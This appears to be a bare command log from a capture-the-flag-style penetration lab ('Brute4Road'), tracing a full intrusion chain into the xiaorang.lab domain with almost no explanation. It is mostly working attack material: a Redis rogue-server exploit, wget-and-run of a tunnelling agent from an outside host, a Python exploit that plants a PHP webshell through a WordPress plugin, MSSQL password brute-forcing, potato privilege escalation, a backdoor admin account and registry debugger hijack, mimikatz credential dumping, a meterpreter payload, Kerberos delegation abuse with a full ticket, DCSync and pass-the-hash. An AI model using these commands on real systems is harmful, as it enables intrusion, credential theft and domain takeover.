Brute4Road

python3 redis-rogue-server.py --rhost 39.98.109.170 --lhost 124.71.111.64 

find / -perm -4000 2>/dev/null

base64 "/home/redis/flag/flag01" | base64 --decode

#控制端 
./linux_x64_admin -l 1122

#被控端
wget http://124.71.111.64/stowaway_agent
chmod +x stowaway_agent
./stowaway_agent -c 124.71.111.64:1122

#控制端
use 0
socks1123

wget http://124.71.111.64/fscan
./fscan -h 172.22.2.7/24

172.22.2.16  MSSQLSERVER.xiaorang.lab  mssql数据库服务器 
172.22.2.7   Redis                    已拿下
172.22.2.34  XIAORANG\CLIENT01
172.22.2.3    DC:DC.xiaorang.lab
172.22.2.18   WORKGROUP\UBUNTU-WEB02  wordspress网站 已拿下 

proxychains wpscan --url http://172.22.2.18 --api-token xxx

import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://172.22.2.18/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

http://172.22.2.18/webshell.php?1=system
POST 2=whoami

proxychains -q hydra -l sa -P passwd.txt mssql://172.22.2.16

C:/Users/Public/SweetPotato.exe

C:/Users/Public/SweetPotato.exe -a "netstat -ano"

C:/Users/Public/SweetPotato.exe -a "net user  c1trus qwer123! /add"
C:/Users/Public/SweetPotato.exe -a "net localgroup administrators c1trus /add"

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

sharphound.exe -c all

mimikatz.exe
privilege::debug
log 1.txt
sekurlsa::logonpasswords

msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4455 -f exe -o msf4455.exe

C:/Users/Public/sweetpotato.exe -a C:/Users/Public/msf4455.exe

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 172.22.2.16
set lport 4455
run

Import-Moudule PowerView.ps1
Get-DomainComputer -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto

Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:fb485e69a4e0da60139181076daa010b /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap 

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE0VoSu71Dw3MPCQKpHs7oaZBga5pJJnTv2P1pTWFkbMVN18BBuBWf29xCUcj7+OT3gTjVrmYKnZWi5uPFANum/8Ul4MQTmudmWv6Y27/8UpJWZvzmb7T3dWHKpvtU72aC67zecBMATWQw/s+TaNXHO/5toSguUEPLp70Oa2gqA1ZEeNgN255twcI04HVRhmrq599RSvqgCpmvRBMkrHMeJiQcmZ2PmuHNxiRVtmZ4H/tcEUUC9AVseGF3s4FI1XuBKKsJvCHzSZqOQF/UrgweTryouiw0yxcS8JI+GHPApB/bF4pxESj81asfSrNxS4m9COVHhyWiWMq/JTWZ66ZTNtoAs90J4LuLfltHvitWKhRagg60tGtjzeGlwdKVJk7oadxS9UUpDRG9uBq4lW5KHnLqGGSazCPDlA2Lv+MraXSZSmfm3veQTlD5DpzRQeWhHZGfIlLUV07CA5F7VzGoPLYA0pHS1lRiAwp24sHojyXCRVNjI9dX8DUhxP+2dyX91ZDG8cxbTWCFD8G1S9yrsLyokGmLddBP0RtlRhoDVxUtlSuzFn7l6Gh7nbp6tsjA5mjOkaTgSqxzcqpfTDJz+qAJLz4NOfuMfeOoEmEu01sMJ/5Ldl2gk1g4gdrvshl/RJi1AXKgXIR0MRFVUmSRTnhzuwzKtHNesJzYhreW1epl8t8deb5PaJv7PMlLxeV4XW9SFA5KoSpWQNm78//cZ54ZLBkA39IUpxxp34xg28beoa+CjZVyGZauA9zuSIsDEZBrMocx8mNmcD4UTpqQGPz1FQMvdDpiNLkTqjvkXtZM8s1RkMiJpVzMoJQDvTuIVZ0JqM5EoXR8ebdGGJn5g8W1eO0YYa/rIMZpCvd4+hLLiv31jhlD/mv8RyVLZshjFgVbX2EVZE8SrUZbfuuHDPwBUCJQ6nn/0rlFf0VjeefTxrRP2f5zw7YBr2vW40Xq6KYGxyRvHVARL+5icf7TTWVMkP5gWka71ufIIsPbpuHSYzprtWRy7TVZ2IeFZ4We040hCiGxQhei/0PkAjzSYSNr08I6hkDiP3vJISgAAGWFwal+MBjUv1z0vCxbY3ESU2AdmLbiz9fGR7yEO0/cf65Thb91sfpucSaixusZKY7LfQ+4/yf4MQgBM9ILlNbZaAIFouY9FZEhZn7huTDmkr67JxUv8BWmWYkMVOS8IxYaoBhPeoxwsITgxsZqt8dcpbbmX+e/VXCAqdoIJAyftK0y9zIvfHorg27YcqXRpVVCxnf6gY8EORgIdIc8kaLAvW93Y8e0YKkRawGvQRM6Fra0Xo+qwRKMN4cuByFpOR/vCzHtcoX1WBI5ja7aWXmkFgMO79gnh45R4aj1pwEiX5BSo6lr/OJcjrLfmrm3dNh7Bc71Ww/GE9zxMY8bTXw3eTJ0C1nAdXSQ5nlApjaOe1D9RRql1OBWqV3mxV0wqlyR3eAw5xDjwaDSsO9P2jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBAgKBu8AWtcaX0Kqvuw5Ga/oQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDIxODE1NTMyMVqmERgPMjAyNTAyMTkwMTUzMjFapxEYDzIwMjUwMjI1MTU1MzIxWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==【获取到的base64加密票据】

lsadump::dcsync /domain:xiaorang.lab /user:Administrator

proxychains impacket-wmiexec -hashes 00000000000000000000000000000000:1a19251fbd935969832616366ae3fe62 Administrator@172.22.2.3 -codec gbk